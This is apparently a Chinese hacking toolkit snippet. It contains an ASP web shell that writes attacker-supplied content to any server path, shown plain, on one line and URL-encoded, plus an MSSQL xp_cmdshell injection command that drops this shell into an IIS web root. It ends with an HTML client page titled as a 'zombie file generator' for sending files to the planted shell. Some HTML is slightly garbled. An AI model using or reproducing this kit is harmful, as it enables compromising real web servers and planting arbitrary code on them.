<% Set objFSO = Server.createObject("Scripting.FileSystemObject") Set objCountFile=objFSO.createTextFile(request("mypath"),True) objCountFile.Write request("mydata") objCountFile.Close %> 这个文件可以写成一行 <%Set objFSO = Server.createObject("Scripting.FileSystemObject"):Set objCountFile=objFSO.createTextFile(request("mypath"),True):objCountFile.Write request("mydata"):objCountFile.Close%> |
%3C%25Set%20objFSO%20=%20Server.createObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.createTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E |
exec master..xp_cmdshell 'echo "%3C%25Set%20objFSO%20=%20Server.createObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.createTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp'; |
<% Set objFSO = Server.createObject("Scripting.FileSystemObject") Set objCountFile=objFSO.createTextFile(request("mypath"),True) objCountFile.Write request("mydata") objCountFile.Close %> |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>肉鸡文件生成器--客户端 制作:绝对零度 QQ:12216796</title> <style type="text/css"> <!-- TD { FONT-SIZE: 9pt; LINE-HEIGHT: 150% } BODY { FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif, 宋体; SCROLLBAR-FACE-COLOR: #eeeeee; SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; SCROLLBAR-SHADOW-COLOR: #dee3e7; SCROLLBAR-3DLIGHT-COLOR: #d1d7dc; SCROLLBAR-ARROW-COLOR: #006699; SCROLLBAR-TRACK-COLOR: #ededed; SCROLLBAR-DARKSHADOW-COLOR: #98aab1 } A:link { FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none } A:visited { FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none } A:hover { COLOR: #clearcase/" target="_blank" >cc0000; LINE-HEIGHT: 18px; TEXT-DECORATION: underline } input,select,TEXTAREA { font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋体"; background-color: #f9f9f9; font-size: 9pt ; border: 1px #d2d2d2 dobble; line-height:120%; } --> </style> </head> <script language="javascript" type="text/javascript"> function chk(theform) { if(theform.ftpUrl.value=='') { alert('请输入递交的地址!'); theform.ftpUrl.focus(); return false; } if(theform.MyPath.value=='') { alert('请输入生成文件的位置!'); theform.MyPath.focus(); return false; } if(theform.MyData.value=='') { alert('请输入生成文件的内容!'); theform.MyData.focus(); return false; } theform.action=theform.ftpUrl.value; } </script> <body> <form name="RohuForm" method="post" action="" onSubmit="return chk(this)" target="_blank"> <table width="673" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="11%">目标位置:</td> <td width="79%"><input name="ftpUrl" type="text" id="ftpUrl" size="50"> 例:http://127.0.0.1/FTP.ASP<;/td> </tr> <tr> <td>生成文件:</td> <td><input name="MyPath" type="text" id="MyPath"> 将在服务器上,生成的文件路径。例: C:\Inetpub\wwwroot\Server.asp </td> </tr> <tr> <td valign="top">文件代码:</td> <td><textarea name="MyData" cols="100" rows="10" id="textarea"></textarea></td> </tr> <tr> <td> </td> <td><input type="submit" name="Submit" value="提交"></td> </tr> </table> <br> </form> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td align="center">版权所有:绝对零度(<a href="http://www.rohu.com";>虎盟</a>)</td> </tr> </table> </body> </html> |